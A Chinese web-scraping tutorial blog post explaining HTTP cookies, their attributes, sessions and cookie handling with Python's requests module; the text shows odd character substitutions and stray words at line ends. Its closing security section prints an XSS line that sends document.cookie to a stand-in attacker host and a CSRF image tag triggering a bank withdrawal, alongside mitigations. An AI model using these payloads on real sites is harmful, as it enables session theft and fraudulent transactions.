上一篇咱們在講優酷彈幕爬蟲的時候,引入了一個新的知識點:Cookie,因爲篇幅有限當時只是簡單的給你們介紹了一下它的做用,今天咱們就來全面瞭解一下Cookie(小餅乾)以及相關的知識!php
相信不少同窗確定聽過Cookie這個東西,也大概瞭解其做用,可是其原理以及如何設置,可能沒有作過web的同窗並非很是清楚,那今天豬哥就帶你們詳細瞭解下Cookie相關的知識!html
爬蟲系列教程的第一篇:HTTP詳解中咱們便說過HTTP的五大特色,而其中之一即是:無狀態vue
HTTP無狀態:服務器沒法知道兩個請求是否來自同一個瀏覽器,即服務器不知道用戶上一次作了什麼,每次請求都是徹底相互獨立。python
早期互聯網只是用於簡單的瀏覽文檔信息、查看黃葉、門戶網站等等,並無交互這個說法。可是隨着互聯網慢慢發展,寬帶、服務器等硬件設施已經獲得很大的提高,互聯網容許人們能夠作更多的事情,因此交互式Web慢慢興起,而HTTP無狀態的特色卻嚴重阻礙其發展!c++
交互式Web:客戶端與服務器能夠互動,如用戶登陸,購買商品,各類論壇等等程序員
不能記錄用戶上一次作了什麼,怎麼辦?聰明的程序員們就開始思考:怎麼樣才能記錄用戶上一次的操做信息呢?因而有人就想到了隱藏域。web
隱藏域寫法:
<input type="hidden" name="field_name" value="value">
面試
這樣把用戶上一次操做記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次用戶的操做,可是這樣每次都得建立隱藏域並且得賦值太麻煩,並且容易出錯!npm
ps:隱藏域做用強大,時至今日都有不少人在用它解決各類問題!瀏覽器
網景公司當時一名員工Lou Montulli(盧-蒙特利),在1994年將「cookies」的概念應用於網絡通訊,用來解決用戶網上購物的購物車歷史記錄,而當時最強大的瀏覽器正是網景瀏覽器,在網景瀏覽器的支持下其餘瀏覽器也漸漸開始支持Cookie,到目前全部瀏覽器都支持Cookie了。
前面咱們已經知道了Cookie的誕生是爲了解決HTTP無狀態的特性沒法知足交互式web,那它到底是什麼呢?
上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的複數形式),在表格中,每一行都表明着一個Cookie,因此咱們來看看Cookie的定義吧!
Cookie是由服務器發給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,而後客戶端每次向服務器發送請求的時候都會帶上這些特殊的信息,用於服務器記錄客戶端的狀態。
Cookie主要用於如下三個方面:
咱們在瞭解了Cookie是由服務器發出存儲在瀏覽器的特殊信息,那具體是怎麼樣的一個過程呢?爲了你們便於理解,豬哥就以用戶登陸爲例子爲你們畫了一幅Cookie原理圖
用戶在輸入用戶名和密碼以後,瀏覽器將用戶名和密碼發送給服務器,服務器進行驗證,驗證經過以後將用戶信息加密後封裝成Cookie放在請求頭中返回給瀏覽器。
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly [響應體]
瀏覽器收到服務器返回數據,發現請求頭中有一個:Set-Cookie,而後它就把這個Cookie保存起來,下次瀏覽器再請求服務器的時候,會把Cookie也放在請求頭中傳給服務器:
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
服務器收到請求後從請求頭中拿到cookie,而後解析併到用戶信息,說明此用戶已登陸,Cookie是將數據保存在客戶端的。
這裏咱們能夠看到,用戶信息是保存在Cookie中,也就至關因而保存在瀏覽器中,那就說用戶能夠隨意修改用戶信息,這是一種不安全的策略!
強調一點:Cookie不管是服務器發給瀏覽器仍是瀏覽器發給服務器,都是放在請求頭中的!
下圖中咱們能夠看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什麼做用呢?咱們來看看
Name表示Cookie的名稱,服務器就是經過name屬性來獲取某個Cookie值。
Value表示Cookie 的值,大多數狀況下服務器會把這個value看成一個key去緩存中查詢保存的數據。
Domain表示能夠訪問此cookie的域名,下圖咱們以百度貼吧頁的Cookie來說解一下Domain屬性。
從上圖中咱們能夠看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,因此這裏就會有一個訪問規則:頂級域名只能設置或訪問頂級域名的Cookie,二級及如下的域名只能訪問或設置自身或者頂級域名的Cookie,因此若是要在多個二級域名中共享Cookie的話,只能將Domain屬性設置爲頂級域名!
Path表示能夠訪問此cookie的頁面路徑。 好比path=/test,那麼只有/test路徑下的頁面能夠讀取此cookie。
Expires/Max-Age表示此cookie超時時間。若設置其值爲一個時間,那麼當到達此時間後,此cookie失效。不設置的話默認值是Session,意思是cookie會和session一塊兒失效。當瀏覽器關閉(不是瀏覽器標籤頁,而是整個瀏覽器) 後,此cookie失效。
提示:當Cookie的過時時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。
Size表示Cookie的name+value的字符數,好比又一個Cookie:id=666,那麼Size=2+3=5 。
另外每一個瀏覽器對Cookie的支持都不相同
HTTP表示cookie的httponly屬性。若此屬性爲true,則只有在http請求頭中會帶有此cookie的信息,而不能經過document.cookie來訪問此cookie。
設計該特徵意在提供一個安全措施來幫助阻止經過Javascript發起的跨站腳本攻擊(XSS)竊取cookie的行爲
Secure表示是否只能經過https來傳遞此條cookie。不像其它選項,該選項只是一個標記而且沒有其它的值。
這種cookie的內容意指具備很高的價值而且可能潛在的被破解以純文本形式傳輸。
前面咱們說過Cookie是由服務端生成的,那如何用Python代碼來生成呢?
從上圖登陸代碼中咱們看到,在簡單的驗證用戶名和密碼以後,服務器跳轉到/user,而後set了一個cookie,瀏覽器收到響應後發現請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,而後瀏覽器就會將這個Cookie保存起來!
最近咱們一直在講requests模塊,這裏咱們就用requests模塊來獲取Cookie。
r.cookies表示獲取全部cookie,get_dict()函數表示返回的是字典格式cookie。
上篇咱們爬取優酷彈幕的文章中即是用了requests模塊設置Cookie
咱們就瀏覽器複製過來的Cookie放在代碼中,這樣即可以順利的假裝成瀏覽器,而後正常爬取數據,複製Cookie是爬蟲中經常使用的一種手段!
其實在Cookie設計之初,並不像豬哥講的那樣Cookie只保存一個key,而是直接保存用戶信息,剛開始你們認爲這樣用起來很爽,可是因爲cookie 是存在用戶端,並且它自己存儲的尺寸大小也有限,最關鍵是用戶能夠是可見的,並能夠隨意的修改,很不安全。那如何又要安全,又能夠方便的全局讀取信息呢?因而,這個時候,一種新的存儲會話機制:Session 誕生了。
Session翻譯爲會話,服務器爲每一個瀏覽器建立的一個會話對象,瀏覽器在第一次請求服務器,服務器便會爲這個瀏覽器生成一個Session對象,保存在服務端,而且把Session的Id以cookie的形式發送給客戶端瀏覽,而以用戶顯式結束或session超時爲結束。
咱們來看看Session工做原理:
對於session標識號(sessionID),有兩種方式實現:Cookie和URL重寫,豬哥就以Cookie的實現防水畫一個Session原理圖
聯繫cookie原理圖咱們能夠看到,Cookie是將數據直接保存在客戶端,而Session是將數據保存在服務端,就安全性來說Session更好!
後面豬哥將會以登陸的例子來說解如何用Python代碼操做Session
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly類型的Cookie因爲阻止了JavaScript對其的訪問性而能在必定程度上緩解此類攻擊。<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當你打開含有了這張圖片的HTML頁面時,若是你以前已經登陸了你的銀行賬號而且Cookie仍然有效(尚未其它驗證步驟),你銀行裏的錢極可能會被自動轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命週期等今天爲你們講解了Cookie的相關知識,以及如何使用requests模塊操做Cookie,最後順便提了一下Cookie與Session的關係以及Cookie存在哪些安全問題。但願你們能對Cookie(小餅乾)能有個全面的瞭解,這樣對你在從此的爬蟲學習中會有很大的幫助!